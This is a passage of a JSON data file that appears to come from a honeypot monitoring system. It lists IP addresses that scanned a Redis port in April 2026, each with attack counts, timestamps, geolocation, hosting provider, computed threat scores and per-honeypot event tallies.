        "Suricata": 1
      }
    },
    "47.95.247.169": {
      "attack_count": 9,
      "first_seen": "2026-04-19T22:14:51.000Z",
      "last_seen": "2026-04-19T22:15:59.441Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T22:14:51+00:00",
        "last_seen_30d": "2026-04-19T22:15:59.441000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "74.208.148.36": {
      "attack_count": 9,
      "first_seen": "2026-04-14T03:23:48.000Z",
      "last_seen": "2026-04-14T03:24:49.106Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:23:48+00:00",
        "last_seen_30d": "2026-04-14T03:24:49.106000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "172.105.177.106": {
      "attack_count": 8,
      "first_seen": "2026-04-10T22:39:34.000Z",
      "last_seen": "2026-04-10T22:40:41.413Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2875,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-10T22:39:15+00:00",
        "last_seen_30d": "2026-04-10T22:50:02.756000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1521,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "47.250.127.15": {
      "attack_count": 8,
      "first_seen": "2026-04-01T01:52:09.000Z",
      "last_seen": "2026-04-01T01:53:17.502Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:52:09+00:00",
        "last_seen_30d": "2026-04-01T01:53:17.502000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "112.124.51.59": {
      "attack_count": 6,
      "first_seen": "2026-04-15T18:37:16.000Z",
      "last_seen": "2026-04-15T18:38:21.433Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-15T18:38:21.433000+00:00",
        "last_seen_30d": "2026-04-15T18:38:21.433000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "206.189.180.60": {
      "attack_count": 6,
      "first_seen": "2026-04-27T15:48:52.000Z",
      "last_seen": "2026-04-27T15:50:30.831Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T00:58:49.863000+00:00",
        "last_seen_30d": "2026-04-27T18:29:48.210000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "23.239.4.211": {
      "attack_count": 6,
      "first_seen": "2026-04-22T12:40:03.000Z",
      "last_seen": "2026-04-22T12:41:10.073Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 30,
        "ports_targeted_30d": 204,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:06:52.712000+00:00",
        "last_seen_30d": "2026-04-30T21:38:25.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 208
      }
    },
    "39.96.175.203": {
      "attack_count": 6,
      "first_seen": "2026-04-06T05:58:56.000Z",
      "last_seen": "2026-04-06T05:59:57.587Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T05:59:57.587000+00:00",
        "last_seen_30d": "2026-04-06T05:59:57.587000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.172.225": {
      "attack_count": 6,
      "first_seen": "2026-04-24T19:59:03.000Z",
      "last_seen": "2026-04-24T20:00:05.918Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 30,
        "ports_targeted_30d": 68,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T09:04:43.632000+00:00",
        "last_seen_30d": "2026-04-30T19:02:08.084000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99
      }
    },
    "106.52.223.49": {
      "attack_count": 5,
      "first_seen": "2026-04-14T03:05:48.000Z",
      "last_seen": "2026-04-14T03:06:50.162Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-14T03:06:50.162000+00:00",
        "last_seen_30d": "2026-04-14T03:06:50.162000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "111.231.1.253": {
      "attack_count": 5,
      "first_seen": "2026-04-08T20:34:22.000Z",
      "last_seen": "2026-04-08T20:35:29.097Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T20:35:29.097000+00:00",
        "last_seen_30d": "2026-04-08T20:35:29.097000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "117.50.47.100": {
      "attack_count": 5,
      "first_seen": "2026-04-25T07:24:27.000Z",
      "last_seen": "2026-04-25T07:25:37.841Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-25T07:25:37.841000+00:00",
        "last_seen_30d": "2026-04-25T07:25:37.841000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "141.98.10.201": {
      "attack_count": 5,
      "first_seen": "2026-04-27T06:05:41.000Z",
      "last_seen": "2026-04-27T06:07:19.114Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 19,
        "ports_targeted_30d": 92,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T04:09:05.928000+00:00",
        "last_seen_30d": "2026-04-30T23:45:31.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93
      }
    },
    "170.187.165.242": {
      "attack_count": 5,
      "first_seen": "2026-04-18T12:39:38.000Z",
      "last_seen": "2026-04-18T12:40:46.163Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 30,
        "ports_targeted_30d": 164,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T04:51:40.067000+00:00",
        "last_seen_30d": "2026-04-30T20:53:18.949000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 181
      }
    },
    "172.232.27.232": {
      "attack_count": 5,
      "first_seen": "2026-04-18T12:39:50.000Z",
      "last_seen": "2026-04-18T12:40:53.069Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 30,
        "ports_targeted_30d": 191,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T03:59:36.759000+00:00",
        "last_seen_30d": "2026-04-30T20:10:31.011000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 197
      }
    },
    "172.237.150.22": {
      "attack_count": 5,
      "first_seen": "2026-04-20T12:36:50.000Z",
      "last_seen": "2026-04-20T12:37:54.506Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 30,
        "ports_targeted_30d": 179,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T04:44:22.083000+00:00",
        "last_seen_30d": "2026-04-30T18:36:30.355000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191
      }
    },
    "185.118.141.71": {
      "attack_count": 5,
      "first_seen": "2026-04-06T01:48:14.000Z",
      "last_seen": "2026-04-06T01:49:24.721Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 49805,
      "as_org": "Berke FINCANCI",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T01:49:24.721000+00:00",
        "last_seen_30d": "2026-04-06T01:49:24.721000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "193.32.162.211": {
      "attack_count": 5,
      "first_seen": "2026-04-07T21:38:26.000Z",
      "last_seen": "2026-04-07T21:39:36.160Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1009,
        "days_active_30d": 2,
        "ports_targeted_30d": 992,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T21:18:52.979000+00:00",
        "last_seen_30d": "2026-04-08T01:40:43.530000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1009
      }
    },
    "194.186.66.94": {
      "attack_count": 5,
      "first_seen": "2026-04-13T04:08:43.000Z",
      "last_seen": "2026-04-13T04:09:47.339Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-13T04:09:47.339000+00:00",
        "last_seen_30d": "2026-04-13T04:09:47.339000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "199.45.154.183": {
      "attack_count": 5,
      "first_seen": "2026-04-04T00:25:34.000Z",
      "last_seen": "2026-04-04T00:26:43.933Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T07:07:21.205000+00:00",
        "last_seen_30d": "2026-04-30T23:48:11.113000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88
      }
    },
    "223.72.120.103": {
      "attack_count": 5,
      "first_seen": "2026-04-30T11:16:44.000Z",
      "last_seen": "2026-04-30T11:18:18.021Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 56048,
      "as_org": "China Mobile Communicaitons Corporation",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-30T11:18:18.021000+00:00",
        "last_seen_30d": "2026-04-30T11:18:18.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.186.213": {
      "attack_count": 5,
      "first_seen": "2026-04-17T14:51:16.000Z",
      "last_seen": "2026-04-17T14:52:24.207Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:24:06.291000+00:00",
        "last_seen_30d": "2026-04-30T05:52:53.235000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99
      }
    },
    "66.132.186.245": {
      "attack_count": 5,
      "first_seen": "2026-04-09T23:26:14.000Z",
      "last_seen": "2026-04-09T23:27:18.943Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T06:38:41.831000+00:00",
        "last_seen_30d": "2026-04-30T09:18:21.647000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74
      }
    },
    "66.132.186.252": {
      "attack_count": 5,
      "first_seen": "2026-04-03T23:33:45.000Z",
      "last_seen": "2026-04-03T23:34:46.468Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 69.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T03:56:56.827000+00:00",
        "last_seen_30d": "2026-04-30T21:34:55.392000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81
      }
    },
    "66.132.195.149": {
      "attack_count": 5,
      "first_seen": "2026-04-27T02:08:51.000Z",
      "last_seen": "2026-04-27T02:10:28.734Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 167,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:17:43.826000+00:00",
        "last_seen_30d": "2026-04-30T02:52:32.812000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 172
      }
    },
    "66.132.224.29": {
      "attack_count": 5,
      "first_seen": "2026-04-23T19:40:27.000Z",
      "last_seen": "2026-04-23T19:41:31.864Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:20:41.759000+00:00",
        "last_seen_30d": "2026-04-30T16:22:01.967000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70
      }
    },
    "104.248.58.73": {
      "attack_count": 4,
      "first_seen": "2026-04-07T07:53:37.000Z",
      "last_seen": "2026-04-07T07:54:42.128Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 65477,
        "days_active_30d": 2,
        "ports_targeted_30d": 67568,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-06T05:26:08.917000+00:00",
        "last_seen_30d": "2026-04-07T09:32:16.522000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65169,
        "Honeytrap": 305,
        "Tanner": 2,
        "Sentrypeer": 1
      }
    },
    "137.184.101.104": {
      "attack_count": 4,
      "first_seen": "2026-04-13T02:52:29.000Z",
      "last_seen": "2026-04-13T02:53:38.807Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1887,
        "days_active_30d": 2,
        "ports_targeted_30d": 1889,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T21:09:01.625000+00:00",
        "last_seen_30d": "2026-04-13T03:20:28.253000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1869,
        "Honeytrap": 17,
        "Sentrypeer": 1
      }
    },
    "163.245.218.247": {
      "attack_count": 4,
      "first_seen": "2026-04-30T17:36:08.000Z",
      "last_seen": "2026-04-30T17:37:08.907Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-30T17:37:08.907000+00:00",
        "last_seen_30d": "2026-04-30T17:37:08.907000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "184.105.139.74": {
      "attack_count": 4,
      "first_seen": "2026-04-27T05:02:52.000Z",
      "last_seen": "2026-04-27T05:04:00.932Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 64.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 11.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T09:00:09.913000+00:00",
        "last_seen_30d": "2026-04-30T12:41:29.624000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Miniprint": 1
      }
    },
    "193.3.53.3": {
      "attack_count": 4,
      "first_seen": "2026-04-18T03:06:41.000Z",
      "last_seen": "2026-04-18T03:07:42.973Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 211607,
      "as_org": "Securitytrails, LLC",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T13:31:08.246000+00:00",
        "last_seen_30d": "2026-04-29T01:06:32.097000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "64.62.156.193": {
      "attack_count": 4,
      "first_seen": "2026-04-20T12:44:36.000Z",
      "last_seen": "2026-04-20T12:45:44.251Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.9,
      "threat_level": "high",
      "score_components": {
